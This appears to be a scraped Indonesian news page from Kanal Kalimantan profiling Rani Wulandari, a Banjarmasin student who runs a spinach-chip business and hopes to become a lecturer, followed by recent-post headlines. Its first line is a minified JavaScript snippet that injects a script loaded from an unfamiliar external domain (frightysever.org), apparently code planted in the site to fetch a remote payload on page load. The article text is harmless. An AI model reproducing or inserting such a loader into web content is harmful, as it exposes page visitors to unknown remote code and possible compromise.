(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Rani, Pebisnis Keripik Bayam yang Ingin Jadi Dosen


BANJARMASIN, Masa kuliah sangat identik dengan tumpukan buku, media belajar dan bahan akademik lainnya. Akan tetapi,  hal yang berbeda dirasakan oleh seorang mahasiswi Fakultas Keguruan Ilmu Pendidikan (FKIP) Universitas Lambung Mangkurat (ULM) Banjarmasin. Adalah Rani Wulandari (21) yang berambisi memulai bisnis usaha kecil mikro sejak masa muda. Dara cantik kelahiran Banjarmasin 26 Juni 1996 ini memiliki jiwa interprenuer semenjak kecil yang terus diasah oleh orang tuanya.

“Karena hobi dari kecil, terus dididik sama orang tua kalau ingin sesuatu harus berusaha sendiri dulu, jadi aku tak mau bergantung sama orang lain,” ungkapnya kepada Kanal Kalimantan.

Menurut mahasiswi semester 7 ini yang menjadi kendala dalam berbisnis diiringi oleh kuliah adalah susahnya mengatur waktu antara kuliah sama penjualan.

“Itu saja sih kendala yang dirasakan,” bebernya sambil tersenyum anggun.

Walau usahanya saat ini sudah berkembang cukup pesat, ia tetap tidak lupa dengan betapa pentingnya artinya sebuah pendidikan dalam hidupnya. Bahkan ia ingin melanjutkan program S-2 dan berkeinginan untuk menjadi seorang akademisi sekaligus pebisnis muda.

“Ingin lanjut S-2, agar bisa jadi dosen sekaligus pengusaha,” harapnya.

Usaha yang saat ini digelutinya adalah keripik bayam terinspirasi dari pemanfaatan hasil pekarangan. “Karena di sekitar rumah sangat banyak bayam, jadi ya ingin meningkatkan nilai jual bayam itu sendiri,” ujarnya.

Selain itu, Ia juga melihat peluang pasar sangat besar terkait keripik bayam yang masih langka.

“Jadi ingin coba yang beda aja, ketika awal mencoba ternyata diterima baik oleh konsumen,” ungkapnya

Ia berharap semoga mampu menjaga kualitas produk dengan memperluas pemasaran, semakin meningkatnya konsumen dan tentunya penghasilan terus meningkat.

Saat ini wanita berpewakan tinggi langsing dan warna kulit eksotis ini mampu memperoleh omzet sekitar Rp 3 juta perbulan.

Akan muda sekarang jangan pernah takut untuk mencoba hal baru dan jangan pernah takut gagal dan jatuh plus jangan pernah menyerah. “Karena jalan yang susah akan membawa ke tempat yang indah,” tutupnya.  (robby)

Rani Wulandari Foto : robby


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

6 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

7 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

7 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

8 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

12 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

12 jam ago

This website uses cookies.